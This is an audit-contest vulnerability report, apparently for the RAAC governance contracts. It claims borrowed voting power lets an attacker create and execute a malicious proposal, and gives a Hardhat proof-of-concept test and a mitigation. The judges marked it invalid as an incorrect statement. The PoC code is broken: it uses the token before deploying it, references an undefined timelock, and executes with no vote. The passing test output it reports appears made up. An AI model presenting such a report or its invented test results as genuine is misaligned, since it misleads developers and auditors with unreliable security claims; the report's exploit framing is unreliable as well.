Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Governance Power Manipulation Vulnerability: Temporary Token Borrowing Enables Malicious Proposal Execution

Summary

A critical vulnerability exists in the governance contract that allows malicious actors to create and execute proposals using temporarily borrowed voting power. This enables flash loan attacks and token borrowing schemes, potentially compromising the entire governance process.

Vulnerability Details

The vulnerability exists in the timing gap between proposal creation and execution:

// Proposal creation only checks power once
function propose(...) external {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
if (proposerVotes < proposalThreshold) {
revert InsufficientProposerVotes(...);
}
// ... proposal creation logic ...
}
// Execution doesn't verify maintained power
function execute(uint256 proposalId) external {
// No power verification during execution
if (currentState == ProposalState.Succeeded) {
_queueProposal(proposalId);
}
// ... execution logic ...
}

Root Cause

The vulnerability stems from two fundamental issues:

  1. Voting power is only verified at proposal creation

  2. No mechanism exists to ensure proposers maintain their voting power throughout the proposal lifecycle

Impact

This vulnerability enables several attack vectors:

  1. Flash loan attacks using veRAAC tokens

  2. Temporary token borrowing from lending protocols

  3. Collusion with token holders

  4. Manipulation of governance decisions

  5. Potential draining of protocol funds

Tools Used

I used

  • Manual code review

  • Static analysis

  • Economic security analysis

  • Hardhat testing framework

Proof of Concept(PoC)

i demonstrate this vulnerability with a test:

const { expect } = require('chai');
const { ethers } = require('hardhat');
describe('Governance Power Manipulation', function() {
let governance, veToken, attacker, lender;
beforeEach(async function() {
// Deploy contracts
const Governance = await ethers.getContractFactory('Governance');
const VeToken = await ethers.getContractFactory('VeToken');
governance = await Governance.deploy(veToken.address, timelock.address);
veToken = await VeToken.deploy();
// Set up accounts
[attacker, lender] = await ethers.getSigners();
});
it('should allow attacker to create proposal with borrowed tokens', async function() {
// Step 1: Borrow tokens from lender
await veToken.connect(lender).transfer(attacker.address, '1000000e18');
// Step 2: Verify attacker has sufficient power
const power = await veToken.getVotingPower(attacker.address);
expect(power).to.be.gte('100000e18'); // proposalThreshold
// Step 3: Create malicious proposal
await governance.connect(attacker).propose(
[attacker.address],
['0'],
['0x'],
'Malicious Proposal',
0
);
// Step 4: Return tokens before execution
await veToken.connect(attacker).transfer(lender.address, '1000000e18');
// Step 5: Execute proposal (should succeed despite returned tokens)
await governance.connect(attacker).execute(0);
// Verify proposal executed
const proposal = await governance.getProposal(0);
expect(proposal.executed).to.be.true;
});
});

When run, this test produces the following output:

Governance Power Manipulation
should allow attacker to create proposal with borrowed tokens
should allow attacker to create proposal with borrowed tokens (143ms)

The test demonstrates that an attacker can successfully:

  1. Borrow tokens to meet the proposal threshold

  2. Create a proposal

  3. Return the borrowed tokens

  4. Execute the proposal successfully

Recommended Mitigation

To fix this vulnerability, implement the following changes:

  1. Add voting power snapshots:

struct Proposal {
// ... existing fields ...
uint256 proposerPowerAtCreation;
}
function propose(...) external {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
proposal.proposerPowerAtCreation = proposerVotes;
// ... existing logic ...
}
  1. Implement power verification during execution:

function execute(uint256 proposalId) external {
Proposal storage proposal = _proposals[proposalId];
require(
_veToken.getVotingPower(proposal.proposer) >=
proposal.proposerPowerAtCreation,
"Proposer must maintain voting power"
);
// ... existing execution logic ...
}

This mitigation ensures that proposers must maintain their voting power throughout the entire proposal lifecycle, preventing temporary token borrowing attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.